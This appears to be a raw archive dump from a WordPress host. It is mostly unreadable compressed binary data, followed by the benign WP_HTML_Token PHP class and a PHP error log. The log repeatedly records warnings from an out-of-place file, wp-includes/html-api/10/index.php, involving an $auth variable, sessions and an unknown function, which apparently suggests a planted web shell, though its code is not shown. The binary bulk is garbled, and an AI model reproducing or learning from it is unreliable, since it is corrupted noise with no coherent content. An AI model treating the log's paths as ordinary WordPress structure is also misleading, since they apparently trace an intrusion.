���eu5f~z��'Ⲫ;�hy�N�����Rakn/^��Z��&C=���AܺlSe����Z�8˦��@[������<�w�%,��F:���.��Ջ�<2�s��#�V]o@���+,ܹ��c�\���}T�-Œ��/=���n�p�ü�7�2��W�-�ե�垫���,7�^
���C��J~�c�h��zS��{|��:�T�F�I�����X���ZWW�F��YlW>�9���&.*���#��6��b
R5�s��+S��`.sk�-{�d�{����z�����	Pզ6U��H���;\8�Z����ȹ�΀E�4݋�a�	,��hw{����[mө��`��dp�b�	o��~�@�Mw��0�)���kB���M:��ٽ̸���g��7�z�W+�*+ 33�qq��ll��DCkQ�&���!f���l����b���%�{&�sxw@C;1XD�{`Q�f��J��U�M.�g��{rp��g��^G�^���'�)�����6Ig�3�/��Nmv/�k~���G�Q+��y9TQ"�
9x5�3Ns�\�LP!�W���]Jx�����wrp�]�����7�T|BŢ�y��ztE�����9-��|7<�;�,ʜ$��2�+�����s
���b8Fnʱi��+�E+�������E�/C	��Y����vH���E+U����Z�����ϏuDv�G�+�Ck��܉�Gd>�j�֖k~�$X	������U�`%������o�TUV�.�V�-�3w�b/	�@�+E:'.VDRЛ�m�[dO�1�1�`1���]�F�p�ӆ�[��Wf /�P�����Z��ل�Ԁwl�GΆ"��]��{㵋E�)�Kg<��&�e�Űz���6�{�e:�-�(��y�&��I��;�Ʈ"�Ă��LtG-��
̋��D�L����#"�����\�����x��ԓu��>����%�e�'.�kf����\98A���S�-�k�{�q{�d��<_0�>����.��PpAKf�ֺKV5��I>LƯ���|�%y����{+���C�;��P��$N\��<��Q�>�C�i5��k(3^-�c�μ��x����P�L(�m��U�v�q��N�I�n��$��e�K�m
�w'��U��=�
x(�	�0��
D�������24w���7�L��V
u@S!�&�rC�b�|��UB�oxWgU�ƒ�N� �p��{��;��i�r�ϝi�J�(�{zpr�M��N��=㟴3頦}��O�(�>�'�n?)��p~�I�U!F�M��������Y�c���d�cR �����OL2��Y��`��@���a���w����/�����I��5�Fj�أ	7��ݵ�U`�'�/l5S.'^�-��y��P�k�v��M�%��G4����!״���h�x_؀'8u��M�M ^� �t)�Ő�PE�!���Э�z��`Pp`�_������L��?�7pd�l�N���!���AJKd]�x�(���^�=���1}�,;���y]�p��ɱ�%��:'H�`�R�I�Q���|kkH��x�:VU�a.�іasbr�M(;�UB�1�fH����
gd��1�����3�|{�2�������1����b������S��:4����R�bY�:ڶ�_m4���'2�ҽ����pB�qR����d%��-��d�m��z��,�?R�aN��9�t��*dZ���� �˯0��'�Kg�8=''A��5�D�
�j�*{p��r��0_Ugm7+�b^4V�K��6y���뮗v�+��?��+@<	�[��m�e�kF<{^(�a�4�����+��e?�tb���>q�Hm�]��..�ԫ�o���e2��O��R�_8�Ii]��A�/��A��s��C<�y��`��ĎX�P��l�$H{է��t�A*��K�b���gp\r{as'�x����Xf���Y�6̼˅7�����Ļ��l�p��0
I�����R���ժ2=�x�<NU���ZC����_~�;���
��F{�qmE%?�dVф7Ў)s�#��T�cY�p�ل�4��b��!?�-���f`:ĸ�s���W6�+r�U)���I@��p���]&�u���UWz�c���W�l�/t�U�íZ�~�V�0V�p��ő��従�Wu�/���Wx饽�sh�Q��E��Y�އ�2�D�`���A��Ĺ	@#}���`��~�˄	/�4%�mMƐJ]t'��k�!G�q	��'o��,�q���&�ʢ`��熉�<x����}�%Ɗv�T,1W������IVS����wB*��m�dn�/�G.�Q˽9�EI`\��c�i_��~��[Y����LKܪ'�*�-�7��W'��=�c�S#�)[���×�0j��e�n� ���z+N��a�X�'@��[��U��ӸA+�w�qq�x2�d>w�,�"�Α�mqwᫍ���΀���@jv�g3̕��BW�m�v�=Z�409�t��8��U�����t�P���\����ŧKa�y�Ѿo�������~���ElB*�-F�G������Lu�r�D�0���{�s0�^ �μˬ�7rHM��_y��\Qg)Q�PA$�I��g�b>)�8��,�H�v�����YY�!H3=39���;)'�,�g�%l�A��V�u�N�.�I!)�U�*00����[�'�\�<��
B���<�E�*y��tw��B�����70��,�2����.��j��I빷�%t>4򘄸o0�?Be�����&9����dގG���zz�)�e
��[z.N����伩�>�
�I�d�����&)��K�,���w�]��8CHkh��_��Q^�f54=5�փQ:��WZ��#|�}}��1V?>O��Ǖoi`�<}SoA;�_�ڍ�@<&%�)�m"��ON��P�4'
m�U���u6z�4O�߇g�v��`�"c�T��>�X?��/���8��������e�6Ʒ4x�e�M��x�]��~Wiu>ʲ$<���o�Ɓo��^�۳�߄�
�4~�m��$���o/b�pO�F�@�o��7�����E��q��q���}B�C�b.����j�,�^�5��4��*�8����?�|M��
0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�l{<����	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
